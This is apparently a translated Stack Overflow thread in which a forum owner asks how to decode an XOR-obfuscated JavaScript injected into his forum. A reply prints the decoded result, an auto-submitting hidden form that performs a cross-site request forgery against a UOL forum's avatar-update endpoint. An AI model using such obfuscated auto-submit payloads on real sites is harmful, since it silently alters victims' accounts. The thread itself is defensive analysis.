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Javascript編碼？

2011-09-29 54 views
2

有人正在使用一個奇怪的腳本來bug我的論壇，我跟蹤它，並發現JavaScript，但它是「編碼」，有人可以幫助我嗎？Javascript編碼？

那就是：

<script language="javascript"> 
var enkripsi="'1A`mf{'02mlNmcf'1F'00qw`okv]dmpo'0:'0;'[email protected]'00'1G'2C'1Admpo'02lcog'1F'00o{dmpo'00'02cavkml'1F'00jvvr'1C--dmpwo,hmemq,wmn,amo,`p-fup-gzga-WqgpDwlavkmlq,wrfcvgWqgpCtcvcp,fup'00'02ogvjmf'1F'00RMQV'00'1G'2C'02'02'1Aklrwv'02v{rg'1F'00jkffgl'00'02lcog'1F'00acnnAmwlv'00'02tcnwg'1F'003'00'1G'02'2C'02'02'1Aklrwv'02v{rg'1F'00jkffgl'00'02lcog'1F'00a2/qapkrvLcog'00'02tcnwg'1F'00WqgpDwlavkmlq'00'1G'2C'02'02'1Aklrwv'02v{rg'1F'00jkffgl'00'02lcog'1F'00a2/ogvjmfLcog'00'02tcnwg'1F'00wrfcvgWqgpCtcvcp'00'1G'2C'02'02'1Aklrwv'02v{rg'1F'00jkffgl'00'02lcog'1F'00a2/kf'00'02tcnwg'1F'007:55]3135040515351'00'1G'2C'02'02'1Aklrwv'02v{rg'1F'00jkffgl'00'02lcog'1F'00a2/rcpco2'00'02tcnwg'1F'00qvpkle'1C72;;'00'1G'2C'02'02'1Aklrwv'02v{rg'1F'00jkffgl'00'02lcog'1F'00zon'00'02tcnwg'1F'00vpwg'00'1G'2C'02'02Rngcqg'02ankai'02jgpg'1C'02'1Aklrwv'02v{rg'1F'00qw`okv'00'02tcnwg'1F'00Amlvklwg,,,'00'02-'1G'1A-r'1G'2C'1A-dmpo'1G'2C'2C'1Aqapkrv'02nclewceg'1F'00hctcqapkrv'00'1G'2C'02'02'1A'03//'2C'02'02dwlavkml'02qw`okv]dmpo'0:'0;'02'2C'02'02'[email protected]'2C'02'2;fmawoglv,o{dmpo,qw`okv'0:'0;'2C'02'02'5F'2C'02'02//'1G'2C'1A-qapkrv'1G"; teks=""; teksasli="";var panjang;panjang=enkripsi.length;for (i=0;i<panjang;i++){ teks+=String.fromCharCode(enkripsi.charCodeAt(i)^2) }teksasli=unescape(teks);document.write(teksasli); 
</script>

來源

2011-09-29 Paulo Alexandre

+0

幫助解碼呢？就我所知，解包或「解碼」邏輯是明確的，你只需要扭轉操作。我認爲你仍然可能在另一端得到縮小/混淆的JavaScript，但是誰知道。 –

+3

有沒有什麼方法可以防止用戶在論壇帖子（或發佈該帖子的任何地方）注入'

0

這裏是模糊化的JavaScript代碼：

<body onLoad="submit_form();"> 
<form name="myform" action="http://forum.jogos.uol.com.br/dwr/exec/UserFunctions.updateUserAvatar.dwr" method="POST"> 
    <input type="hidden" name="callCount" value="1"> 
    <input type="hidden" name="c0-scriptName" value="UserFunctions"> 
    <input type="hidden" name="c0-methodName" value="updateUserAvatar"> 
    <input type="hidden" name="c0-id" value="5877_1317262737173"> 
    <input type="hidden" name="c0-param0" value="string:5099"> 
    <input type="hidden" name="xml" value="true"> 
    Please click here: <input type="submit" value="Continue..." /></p> 
</form> 

<script language="javascript"> 
    <!-- 
    function submit_form() 
    { 
    document.myform.submit() 
    } 
    --> 
</script>

來源

2012-01-02 12:34:33

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